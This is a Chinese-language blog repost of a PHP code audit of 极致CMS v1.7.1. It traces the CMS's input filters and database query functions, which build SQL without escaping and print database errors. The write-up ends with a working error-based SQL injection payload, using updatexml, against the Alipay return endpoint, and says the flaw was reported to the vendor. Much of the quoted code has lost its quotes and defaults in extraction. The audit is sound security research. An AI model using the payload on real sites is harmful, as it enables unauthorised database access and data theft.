安基网 首页 安全 Web安全 查看内容

极致CMS -- PHP代码审计 SQL注入漏洞

2020-7-29 14:02| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 极致CMS是一款商城类的CMS,结合了很多此类CMS的特点,而且它的项目管理者也在更新速度和优化程度付出了很多的心血。当然,没有哪一个CMS是不存在漏洞的,需要非常耐心的审计才能突破屏障

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

关于

极致CMS是一款商城类的CMS,结合了很多此类CMS的特点,而且它的项目管理者也在更新速度和优化程度付出了很多的心血。当然,没有哪一个CMS是不存在漏洞的,需要非常耐心的审计才能突破屏障

No.2

审计前期阶段

信息收集

代码审计在开始前,也要做到信息收集,我们需要了解如下几点:

1 . 审计的CMS在漏洞库中出现过的漏洞大都什么样的类型

2 . 社区中的Bug收集区可以得到的信息

3 . 每一个版本的更新的版本内容

4 . 作者其他作品中曾经出现过的漏洞

选择的审计版本

尽量选择最高版本低一次更新的版本,这样可以对比更新内容来更快的审计出漏洞,也可以通过低版本来大致了解新版本的特性,因为大部分的CMS的有一些漏洞是未发现的,随着版本更新一直存在

环境安装

在本地搭建环境,phpstudy + mysql 即可

No.3

极致CMS--PHP代码审计

前期工作

官网查看版本,了解大致架构

我们选择 [ 极致CMS v1.7.1版本 ]来进行代码审计

查看一下 v1.8 版本对比更新的内容

得到有利信息

1 . XSS过滤不完善导致多处XSS

2 . 微信支付宝支付插件有未知bug

3 . 数据库前几个版本报错可能显示了报错页面,存在sql注入

通过搜索引擎可以查看到

以前的漏洞点多半在于过滤不完全这一处,在1.7版本之前的漏洞大多十分严重

去社区看一下出现过的Bug

好了,信息已经大致了解了,确定一下审计方向

1 . SQL注入 和 XSS 因为过滤代码可能写的不是特别完全,重点审计

2 . 最新版本更新了不显示报错页面,审计过程关注可能出现数据库报错的页面

3 . CMS上线过程中测试不完全也导致了一些不应该出现BUG

4 . 注意一下用户间的越权访问,审计过程中对没有对用户cookie或id检测的用户私有页面尝试越权

5 . 网站插件比较齐全,查看一下是否含有可利用插件

No.4

开始审计

根据官网提示安装CMS在本地

查看一下进行过滤的函数

/**

参数过滤,格式化

**/

function format_param($value=,$int=0){

if($value==){ return '';}

switch ($int){

case 0://整数

return (int)$value;

case 1://字符串

$value=htmlspecialchars(trim($value),ENT_QUOTES);

if(version_compare(PHP_VERSION,'7.4','>=')){

$value = addslashes($value); }else{

if(!get_magic_quotes_gpc)$value = addslashes($value);}

return $value;

case 2://数组

if($value=='')return '';

array_walk_recursive($value, "array_format");

return $value;case 3://浮点 return (float)$value;

case 4:

if(version_compare(PHP_VERSION,'7.4','>=')){

$value = addslashes($value);

}else{

if(!get_magic_quotes_gpc)$value = addslashes($value); }

return trim($value);

}

}

//过滤XSS攻击

function SafeFilter(&$arr) {

$ra=Array('/([x00-x08,x0b-x0c,x0e-x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'

,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'

,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/', '/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'

,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');

if (is_array($arr))

{

foreach ($arr as $key => $value) {

if (!is_array($value)) {

if(version_compare(PHP_VERSION,'7.4','>='))

{

$value = addslashes($value);

}

else

{

if (!get_magic_quotes_gpc)

{

$value = addslashes($value);

}

}

$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串

$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体

}

else

{

SafeFilter($arr[$key]);

}

}

}

}

看一下执行的SQL语句的函数

// 查询一条

public function find($where=,$order=,$fields=,$limit=1)

{

if( $record = $this->findAll($where, $order, $fields, 1) ){

return array_pop($record); }else{

return FALSE; }

}

跟进 findAll 函数

// 查询所有public function findAll($conditions=,$order=,$fields=,$limit=){

$where = '';if(is_array($conditions)){

$join = array;foreach( $conditions as $key => $value ){

$value = '''.$value.''';

$join = "{$key} = {$value}";

}

$where = "WHERE ".join(" AND ",$join);

}else{

if( != $conditions)$where = "WHERE ".$conditions; }

if(is_array($order)){

$where .= ' ORDER BY ';

$where .= implode(',', $order);

}else{

if($order!=)$where .= " ORDER BY ".$order;

}

if(!empty($limit))$where .= " LIMIT {$limit}";

$fields = empty($fields) ? "*" : $fields;

$sql = "SELECT {$fields} FROM {

$this->table} {$where}"; return $this->getData($sql);

}

再跟进一下getData函数

//获取数据public function getData($sql){

if(!$result = $this->query($sql))return array;

if(!$this->Statement->rowCount)return array; $rows = array;

while($rows = $this->Statement->fetch(PDO::FETCH_ASSOC)){}

$this->Statement=; array_pop($rows);

return $rows;}

跟进query执行函数

//执行SQL语句并检查是否错误public function query($sql){

$this->filter = $sql;

$this->Statement = $this->pdo->query($sql);

if ($this->Statement) {

return $this;

}else{

$msg = $this->pdo->errorInfo;

if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));

}

}

看到$msg = $this->pdo->errorInfo;语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出

一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过format_param过滤,会产生注入

例如:

function exploit{

M('member')->find(['username'=>$_GET['name']]);

}

如果直接这样GET POST REQUEST 带入数据库 会产生报错注入

例如 ./exploit/name=123' (加一个引号会报错,如果引号没过滤)

现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了

简单寻找下其实这样的地方挺多的,拿一个位置举例子

这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证

可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入

可以看到的确出现了sql语句和数据库错误

直接报错注入获取敏感信息

mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version),0x7e),1)--+"

该漏洞已提交厂商修复

"

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6854710884447552013/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部